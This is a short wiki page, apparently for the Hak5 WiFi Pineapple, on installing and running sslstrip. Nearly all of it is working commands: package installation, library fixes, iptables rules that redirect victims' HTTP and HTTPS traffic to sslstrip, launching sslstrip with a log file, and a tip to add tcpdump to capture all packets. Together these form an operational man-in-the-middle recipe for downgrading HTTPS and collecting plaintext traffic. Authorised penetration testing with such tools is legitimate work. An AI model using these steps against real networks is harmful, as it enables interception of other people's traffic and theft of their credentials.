Skip to content
Hak5Foxtrot edited this page Apr 16, 2013 · 6 revisions

Install sslstrip

Execute : ``` opkg update ``` then, execute : ``` opkg install –dest usb sslstrip ```

Note: I install everything to my usb. If you don't have a USB drive, then the command will look like this: opkg install sslstrip

One time configuration of sslstrip

A HUGE thanks to Vulture for laying this out for us

Execute :
``` ln -s /usb/usr/lib/python2.7 /usr/lib/python2.7 ``` then,
``` touch /usb/usr/lib/python2.7/site-packages/zope/init.py ```

iptables configuration - must be run each and every time the pineapple reboots BEFORE you want to run sslstrip.

Note : Its probably a good idea to stick this in a simple file, and place it in /bin/, call it sslstrip and then just execute "sslstrip" to execute the below commands.

iptables -t nat -A PREROUTING -p tcp –destination-port 80 -j REDIRECT –to-ports 10000
iptables -t nat -A PREROUTING -p tcp –destination-port 443 -j REDIRECT –to-ports 10000

Run sslstrip!


Exectute:
``` sslstrip -w /usb/sslstrip.log & ```

Done! sslstrip is now running in the background! I usually combo this with a little tcpdump - that way you've got every plaintext and ssl'd packet!

Clone this wiki locally